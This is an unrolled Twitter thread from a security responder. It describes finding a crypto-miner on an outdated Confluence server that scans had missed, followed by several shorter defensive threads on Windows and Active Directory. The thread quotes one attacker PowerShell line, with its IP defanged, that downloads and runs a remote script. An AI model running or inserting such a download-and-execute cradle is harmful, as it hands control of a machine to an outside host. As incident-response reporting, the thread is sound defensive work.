Stephan Berger Profile picture
Apr 18 14 tweets 5 min read Twitter logo Read on Twitter
1/ Customer receives an email from a network monitoring device that a host is supposedly infected with a #CoinMiner. The Task Manager on the said system shows the following screenshot 🤕.

A story of an unpatched system, incorrect scoping, and 🍀. 🧵

#CyberSecurity Image
2/ The affected (and remotely accessible) server have had Confluence installed.

One of my first questions I asked the customer was if the system was up to date (Spoiler: it wasn't).

Confluence 6.0.4 was installed at the time of the incident.
3/ Confluence 6.0.4 was released in January 2017 🤯 Image
4/ The system was also exposed on the Internet last year when hundreds of vulnerable Confluence instances were compromised with CVE-2022-26134. [2],[3] Image
5/ Interestingly, Shodan shows the status code 503, Service Unavailable, for the service listening on port 443.

The Shodan scanner and potentially all other scanners did not find this instance at all, although exposed on the Internet and reachable (tested). Image
6/ The customer ran several web services on this server, served by a WebDisaptcher (based on the host header).

A request with an IP-Only host header could, therefore, not be successful.
7/ Testing the above theory with curl:

# curl -Lvko/dev/null -H "host:foobar.ch" <confluence_ip> 2>&1 | egrep 'HTTP|location'

> GET / HTTP/1.1
* HTTP 1.0, assume close after body
< HTTP/1.0 503 Service Unavailable
8/ The affected company had two external perimeter scans performed by two companies.

The system was both times not found because the customer did not give the tester the full IP ranges for the tests. They were supposed to OSINT, which IP ranges belonged to the customer 🤷‍♂️
9/This might be a good approach at one point (when you really think you know your perimeter well enough), but at least in a lot of our IR investigations, companies lost track of the exposed services they have on their IP range.
10/ The miner on the affected server used the default XMR address. This behavior always makes me think of the tweet from Florian:

11/ PowerShell Script Block Logging to the rescue:

IEX (New-Object System.Net.Webclient).DownloadString('hXXp://175.118.126[.]65:8002/js/wi.txt')
12/ At the time of our analysis, the PowerShell code was still available to download (respectively still is). [1]

This miner was the only attack trace found on this server 🤞 Image
13/ Assess your perimeter. Patch your software. Ensure that an EDR is on all hosts (yep - the customer had an EDR but not on this host..)

• • •

Missing some Tweet in this thread? You can try to force a refresh
 

Keep Current with Stephan Berger

Stephan Berger Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

More from @malmoeb

Apr 17
1/ I used #AutoRuns v14.09 (GUI) in my lab setup but noticed that it failed to find (or display) the malware in the Startup folder, although the file is there (screenshot below).

I checked back and forth, searched manually for the file, and restarted the OS and AutoRuns.

🧵 Image
2/ With #Velociraptor, I ran the hunt Sysinternals.Autoruns, and with the CLI version of AutoRuns, the malware is found in the Startup folder. Image
3/ The same for the #Velociraptor hunt Sys.StartupItems. Image
Read 4 tweets
Mar 21
1/ The content below is from a file named install.bat and stems from a recent investigation where a TA launched this batch file. 👀

What's going on?

Well, VboxUpdate.exe is, in fact, tor.exe, and a new service is created, launching tor with a config file.

🧵 #CyberSecurity Image
2/ Below is an excerpt from the content of config.txt; the configuration file passed as an argument to the tor service.

If you think this looks a lot like RDP Tunneling, you are absolutely right. 🥇 Image
3/ Head over to the allthingsdfir blog to read a more profound write-up about the techniques used here and how they work together.

allthingsdfir.com/rdp-over-tor/
Read 5 tweets
Mar 20
1/ Real-World #PingCastle Finding #13: Allow log on locally

➡️ Domain Users are eligible to log into DC's 🤯🙈

"When you grant an account the Allow logon locally right, you are allowing that account to log on locally to all domain controllers in the domain." [1]

#CyberSecurity Image
2/ Why is this a bad idea?

"If you do not restrict this user right to legitimate users who must log on to the console of the computer, unauthorized users could download and run malicious software to elevate their privileges." [1]
3/ I encountered this finding several times in our AD assessments, so you better check your settings in your domain right now (better safe than sorry 🔒).

Good luck 🍀
Read 4 tweets
Mar 18
1/ Do you monitor newly created services within your environment, and would you notice when a (vulnerable) driver is loaded?

The screenshot below (#Velociraptor 🤩) is from a recent #XMRig CoinMiner investigation ⤵️

🧵 #CyberSecurity
2/ We talked about vulnerable drivers before:

Read 4 tweets
Mar 17
1/ #Velociraptor has covered hunting for malicious WMI Event Consumers for some time. [1]

However, Velociraptor does not provide an eradication hunt for malicious WMI Event Consumers out of the box.

🧵 #CyberSecurity
2/ @threatpunter wrote a detailed blog about WMI persistences and how to remove them.

"The simplest method to remove the entry from the WMI database is to use Autoruns. Launch Autoruns as an administrator and select the WMI tab to review WMI-related persistence." ✂️ Image
3/ "Alternatively, you can remove the WMI event subscriptions from the command line." [2] Image
Read 4 tweets
Mar 15
1/ Number #10 of the #ActiveDirectory hardening measures:

Easy Wins (for Attackers)

🧵 #CyberSecurity
This is the last thread in this AD hardening measure series, but there would still be so much to discuss 😅

Here are more points you should focus on to defend your networks even better.
"Administrative accounts should never be enabled for delegation.

You can prevent these privileged accounts from being targeted by enabling the ‘Account is sensitive and cannot be delegated’ flag on them. You can optionally add these accounts to the ‘Protected Users’ group.
Read 11 tweets

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Don't want to be a Premium member but still want to support us?

Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us on Twitter!

:(